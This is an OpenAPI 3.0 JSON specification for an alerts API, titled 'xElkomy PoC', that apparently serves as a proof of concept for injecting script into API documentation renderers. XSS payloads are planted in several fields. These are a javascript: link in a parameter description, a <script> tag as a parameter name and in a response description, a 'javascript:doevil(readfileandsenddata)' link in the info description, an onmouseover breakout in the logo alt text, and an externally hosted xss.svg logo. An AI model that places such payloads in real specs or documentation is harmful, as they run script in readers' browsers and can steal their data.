1
|
{
|
2
|
"components": {
|
3
|
"parameters": {
|
4
|
"alert": {
|
5
|
"description": "[xElkomyistoooooooooooooooooooooooooooooooooooooooooooooooooooo](javascript:alert('XSS'))",
|
6
|
"explode": false,
|
7
|
"in": "path",
|
8
|
"name": "<script>console.log(‘000000000000000000dad0000000000000000000');</script>",
|
9
|
"required": true,
|
10
|
"schema": {
|
11
|
"example": "alt-asdf1234",
|
12
|
"pattern": "^[A-Za-z][A-Za-z0-9-]+$",
|
13
|
"type": "string"
|
14
|
},
|
15
|
"style": "simple"
|
16
|
}
|
17
|
},
|
18
|
"responses": {
|
19
|
"ApiErrorsResponse": {
|
20
|
"content": {
|
21
|
"application/json": {
|
22
|
"schema": {
|
23
|
"properties": {
|
24
|
"errors": {
|
25
|
"description": "List of errors that occurred while processing the request.",
|
26
|
"items": {
|
27
|
"$ref": "#/components/schemas/ApiError"
|
28
|
},
|
29
|
"minItems": 1,
|
30
|
"type": "array"
|
31
|
}
|
32
|
},
|
33
|
"type": "object"
|
34
|
}
|
35
|
}
|
36
|
},
|
37
|
"description": "<script>alert('xElkomy')</script>"
|
38
|
}
|
39
|
},
|
40
|
"schemas": {
|
41
|
"Alert": {
|
42
|
"example": {
|
43
|
"crit": {
|
44
|
"operator": "<",
|
45
|
"value": 5
|
46
|
},
|
47
|
"info": {
|
48
|
"operator": "<",
|
49
|
"value": 5
|
50
|
},
|
51
|
"name": "name",
|
52
|
"post_to": "",
|
53
|
"warn": {
|
54
|
"operator": "<",
|
55
|
"value": 5
|
56
|
}
|
57
|
},
|
58
|
"properties": {
|
59
|
"crit": {
|
60
|
"$ref": "#/components/schemas/threshold"
|
61
|
},
|
62
|
"field": {
|
63
|
"$ref": "#/components/schemas/field"
|
64
|
},
|
65
|
"info": {
|
66
|
"$ref": "#/components/schemas/threshold"
|
67
|
},
|
68
|
"name": {
|
69
|
"description": "unique name for this alert",
|
70
|
"pattern": "^[A-Za-z][A-Za-z0-9-]+$",
|
71
|
"type": "string"
|
72
|
},
|
73
|
"operation": {
|
74
|
"$ref": "#/components/schemas/operation"
|
75
|
},
|
76
|
"period": {
|
77
|
"$ref": "#/components/schemas/period"
|
78
|
},
|
79
|
"post_to": {
|
80
|
"pattern": "^https://"
|
81
|
},
|
82
|
"warn": {
|
83
|
"$ref": "#/components/schemas/threshold"
|
84
|
},
|
85
|
"window": {
|
86
|
"$ref": "#/components/schemas/window"
|
87
|
}
|
88
|
},
|
89
|
"required": [
|
90
|
"field",
|
91
|
"name",
|
92
|
"operation",
|
93
|
"period",
|
94
|
"post_to",
|
95
|
"window"
|
96
|
],
|
97
|
"type": "object"
|
98
|
},
|
99
|
"ApiError": {
|
100
|
"properties": {
|
101
|
"detail": {
|
102
|
"description": "Explanation of what exactly went wrong.",
|
103
|
"type": "string"
|
104
|
},
|
105
|
"href": {
|
106
|
"description": "Request URL.",
|
107
|
"type": "string"
|
108
|
},
|
109
|
"status": {
|
110
|
"description": "HTTP status code.",
|
111
|
"type": "integer"
|
112
|
},
|
113
|
"title": {
|
114
|
"description": "High-level reason of why the request failed.",
|
115
|
"type": "string"
|
116
|
}
|
117
|
},
|
118
|
"type": "object"
|
119
|
},
|
120
|
"CreateAlertRequest": {
|
121
|
"$ref": "#/components/schemas/Alert"
|
122
|
},
|
123
|
"field": {
|
124
|
"description": "Data to query",
|
125
|
"enum": [
|
126
|
"record_usage.count",
|
127
|
"upstream_responses.count",
|
128
|
"upstream_traffic.traffic_bytes",
|
129
|
"upstream_latency.count"
|
130
|
],
|
131
|
"type": "string"
|
132
|
},
|
133
|
"inline_response_200": {
|
134
|
"example": {
|
135
|
"alerts": [
|
136
|
{
|
137
|
"crit": {
|
138
|
"operator": "<",
|
139
|
"value": 5
|
140
|
},
|
141
|
"info": {
|
142
|
"operator": "<",
|
143
|
"value": 5
|
144
|
},
|
145
|
"name": "name",
|
146
|
"post_to": "",
|
147
|
"warn": {
|
148
|
"operator": "<",
|
149
|
"value": 5
|
150
|
}
|
151
|
},
|
152
|
{
|
153
|
"crit": {
|
154
|
"operator": "<",
|
155
|
"value": 5
|
156
|
},
|
157
|
"info": {
|
158
|
"operator": "<",
|
159
|
"value": 5
|
160
|
},
|
161
|
"name": "name",
|
162
|
"post_to": "",
|
163
|
"warn": {
|
164
|
"operator": "<",
|
165
|
"value": 5
|
166
|
}
|
167
|
}
|
168
|
]
|
169
|
},
|
170
|
"properties": {
|
171
|
"alerts": {
|
172
|
"description": "List of stored values along with their aliases.",
|
173
|
"items": {
|
174
|
"$ref": "#/components/schemas/Alert"
|
175
|
},
|
176
|
"type": "array"
|
177
|
}
|
178
|
}
|
179
|
},
|
180
|
"inline_response_200_1": {
|
181
|
"example": {
|
182
|
"alerts": [
|
183
|
{
|
184
|
"crit": {
|
185
|
"operator": "<",
|
186
|
"value": 5
|
187
|
},
|
188
|
"info": {
|
189
|
"operator": "<",
|
190
|
"value": 5
|
191
|
},
|
192
|
"name": "name",
|
193
|
"post_to": "",
|
194
|
"warn": {
|
195
|
"operator": "<",
|
196
|
"value": 5
|
197
|
}
|
198
|
}
|
199
|
]
|
200
|
},
|
201
|
"properties": {
|
202
|
"alerts": {
|
203
|
"description": "The retrieved alert.",
|
204
|
"items": {
|
205
|
"$ref": "#/components/schemas/Alert"
|
206
|
},
|
207
|
"maxItems": 1,
|
208
|
"minItems": 1,
|
209
|
"type": "array"
|
210
|
}
|
211
|
}
|
212
|
},
|
213
|
"operation": {
|
214
|
"enum": [
|
215
|
"sum",
|
216
|
"mean",
|
217
|
"max",
|
218
|
"min"
|
219
|
],
|
220
|
"type": "string"
|
221
|
},
|
222
|
"period": {
|
223
|
"description": "How often to run this check",
|
224
|
"enum": [
|
225
|
"1m",
|
226
|
"5m",
|
227
|
"10m",
|
228
|
"30m",
|
229
|
"60m",
|
230
|
"12h",
|
231
|
"24h"
|
232
|
],
|
233
|
"type": "string"
|
234
|
},
|
235
|
"threshold": {
|
236
|
"example": {
|
237
|
"operator": "<",
|
238
|
"value": 5
|
239
|
},
|
240
|
"properties": {
|
241
|
"operator": {
|
242
|
"enum": [
|
243
|
"<",
|
244
|
"<=",
|
245
|
">",
|
246
|
">=",
|
247
|
"=="
|
248
|
],
|
249
|
"type": "string"
|
250
|
},
|
251
|
"value": {
|
252
|
"description": "Positive integer value",
|
253
|
"example": 5,
|
254
|
"type": "integer"
|
255
|
}
|
256
|
},
|
257
|
"required": [
|
258
|
"operator",
|
259
|
"value"
|
260
|
],
|
261
|
"type": "object"
|
262
|
},
|
263
|
"window": {
|
264
|
"description": "Window to query data across",
|
265
|
"enum": [
|
266
|
"1m",
|
267
|
"5m",
|
268
|
"10m",
|
269
|
"30m",
|
270
|
"60m",
|
271
|
"12h",
|
272
|
"24h"
|
273
|
],
|
274
|
"type": "string"
|
275
|
}
|
276
|
},
|
277
|
"securitySchemes": {
|
278
|
"jwt": {
|
279
|
"bearerFormat": "JWT",
|
280
|
"scheme": "bearer",
|
281
|
"type": "http",
|
282
|
"x-bearerInfoFunc": "impi.security.decode_token"
|
283
|
}
|
284
|
}
|
285
|
},
|
286
|
"externalDocs": {
|
287
|
"description": "xElkomy is here",
|
288
|
"url": "https://xelkomy.com"
|
289
|
},
|
290
|
"info": {
|
291
|
"contact": {
|
292
|
"email": "khaled.mohamed@xelkomy.com"
|
293
|
},
|
294
|
"description": "xelkomyishere # [Here is the demo link we provided you](javascript:doevil(readfileandsenddata)) #xElkomy PoC Inject External JsonFile \n",
|
295
|
"title": "xElkomy PoC",
|
296
|
"version": "0.1.0",
|
297
|
"x-logo": {
|
298
|
"altText": "Very Good Security Logo #![a\"onmouseover=alert`1`](https://www.google.com/image.png\"'onmouseover=alert(1)'",
|
299
|
"href": "https://www.xelkomy.com",
|
300
|
"url": "https://mytool-xelkomy.s3.eu-central-1.amazonaws.com/xss.svg"
|
301
|
}
|
302
|
},
|
303
|
"openapi": "3.0.0",
|
304
|
"paths": {
|
305
|
"/alerts": {
|
306
|
"get": {
|
307
|
"description": "Show all alerts\n",
|
308
|
"operationId": "fetch_alerts",
|
309
|
"responses": {
|
310
|
"200": {
|
311
|
"content": {
|
312
|
"application/json": {
|
313
|
"schema": {
|
314
|
"$ref": "#/components/schemas/inline_response_200"
|
315
|
}
|
316
|
}
|
317
|
},
|
318
|
"description": "OK"
|
319
|
}
|
320
|
},
|
321
|
"summary": "List alerts",
|
322
|
"tags": [
|
323
|
"alerts"
|
324
|
],
|
325
|
"x-openapi-router-controller": "openapi_server.controllers.alerts_controller"
|
326
|
}
|
327
|
},
|
328
|
"/alerts/{alert}": {
|
329
|
"delete": {
|
330
|
"description": "Removes a single alert.\n",
|
331
|
"operationId": "delete_alert",
|
332
|
"parameters": [
|
333
|
{
|
334
|
"description": "Alert to operate on.",
|
335
|
"explode": false,
|
336
|
"in": "path",
|
337
|
"name": "alert",
|
338
|
"required": true,
|
339
|
"schema": {
|
340
|
"example": "alt-asdf1234",
|
341
|
"pattern": "^[A-Za-z][A-Za-z0-9-]+$",
|
342
|
"type": "string"
|
343
|
},
|
344
|
"style": "simple"
|
345
|
}
|
346
|
],
|
347
|
"responses": {
|
348
|
"204": {
|
349
|
"description": "No Content"
|
350
|
}
|
351
|
},
|
352
|
"summary": "Delete an alert",
|
353
|
"tags": [
|
354
|
"alerts"
|
355
|
],
|
356
|
"x-openapi-router-controller": "openapi_server.controllers.alerts_controller"
|
357
|
},
|
358
|
"get": {
|
359
|
"description": "Retrieves an alert",
|
360
|
"operationId": "get_alert",
|
361
|
"parameters": [
|
362
|
{
|
363
|
"description": "Alert to operate on.",
|
364
|
"explode": false,
|
365
|
"in": "path",
|
366
|
"name": "alert",
|
367
|
"required": true,
|
368
|
"schema": {
|
369
|
"example": "alt-asdf1234",
|
370
|
"pattern": "^[A-Za-z][A-Za-z0-9-]+$",
|
371
|
"type": "string"
|
372
|
},
|
373
|
"style": "simple"
|
374
|
}
|
375
|
],
|
376
|
"responses": {
|
377
|
"200": {
|
378
|
"content": {
|
379
|
"application/json": {
|
380
|
"schema": {
|
381
|
"$ref": "#/components/schemas/inline_response_200_1"
|
382
|
}
|
383
|
}
|
384
|
},
|
385
|
"description": "OK"
|
386
|
}
|
387
|
},
|
388
|
"summary": "Get an alert",
|
389
|
"tags": [
|
390
|
"alerts"
|
391
|
],
|
392
|
"x-openapi-router-controller": "openapi_server.controllers.alerts_controller"
|
393
|
},
|
394
|
"post": {
|
395
|
"description": "Creates a single alert.\n",
|
396
|
"operationId": "create_alert",
|
397
|
"parameters": [
|
398
|
{
|
399
|
"description": "Alert to operate on.",
|
400
|
"explode": false,
|
401
|
"in": "path",
|
402
|
"name": "alert",
|
403
|
"required": true,
|
404
|
"schema": {
|
405
|
"example": "alt-asdf1234",
|
406
|
"pattern": "^[A-Za-z][A-Za-z0-9-]+$",
|
407
|
"type": "string"
|
408
|
},
|
409
|
"style": "simple"
|
410
|
}
|
411
|
],
|
412
|
"requestBody": {
|
413
|
"content": {
|
414
|
"application/json": {
|
415
|
"schema": {
|
416
|
"$ref": "#/components/schemas/CreateAlertRequest"
|
417
|
}
|
418
|
}
|
419
|
}
|
420
|
},
|
421
|
"responses": {
|
422
|
"201": {
|
423
|
"content": {
|
424
|
"application/json": {
|
425
|
"schema": {
|
426
|
"$ref": "#/components/schemas/Alert"
|
427
|
}
|
428
|
}
|
429
|
},
|
430
|
"description": "Created"
|
431
|
}
|
432
|
},
|
433
|
"summary": "Create an alert",
|
434
|
"tags": [
|
435
|
"alerts"
|
436
|
],
|
437
|
"x-openapi-router-controller": "openapi_server.controllers.alerts_controller"
|
438
|
},
|
439
|
"put": {
|
440
|
"description": "Update an alert\n",
|
441
|
"operationId": "update_alert",
|
442
|
"parameters": [
|
443
|
{
|
444
|
"description": "Alert to operate on.",
|
445
|
"explode": false,
|
446
|
"in": "path",
|
447
|
"name": "alert",
|
448
|
"required": true,
|
449
|
"schema": {
|
450
|
"example": "alt-asdf1234",
|
451
|
"pattern": "^[A-Za-z][A-Za-z0-9-]+$",
|
452
|
"type": "string"
|
453
|
},
|
454
|
"style": "simple"
|
455
|
}
|
456
|
],
|
457
|
"requestBody": {
|
458
|
"content": {
|
459
|
"application/json": {
|
460
|
"schema": {
|
461
|
"$ref": "#/components/schemas/CreateAlertRequest"
|
462
|
}
|
463
|
}
|
464
|
}
|
465
|
},
|
466
|
"responses": {
|
467
|
"200": {
|
468
|
"description": "OK"
|
469
|
}
|
470
|
},
|
471
|
"summary": "Update an alert",
|
472
|
"tags": [
|
473
|
"alerts"
|
474
|
],
|
475
|
"x-openapi-router-controller": "openapi_server.controllers.alerts_controller"
|
476
|
}
|
477
|
},
|
478
|
"/health": {
|
479
|
"get": {
|
480
|
"description": "Healthy or no",
|
481
|
"operationId": "get_health",
|
482
|
"responses": {
|
483
|
"200": {
|
484
|
"content": {
|
485
|
"text/plain": {
|
486
|
"schema": {
|
487
|
"example": "pong",
|
488
|
"type": "string"
|
489
|
}
|
490
|
}
|
491
|
},
|
492
|
"description": "OK"
|
493
|
}
|
494
|
},
|
495
|
"summary": "Return health of API",
|
496
|
"x-openapi-router-controller": "openapi_server.controllers.default_controller"
|
497
|
}
|
498
|
}
|
499
|
},
|
500
|
"security": [
|
501
|
{
|
502
|
"jwt": []
|
503
|
}
|
504
|
],
|
505
|
"servers": [
|
506
|
{
|
507
|
"url": ""
|
508
|
}
|
509
|
]
|
510
|
}
|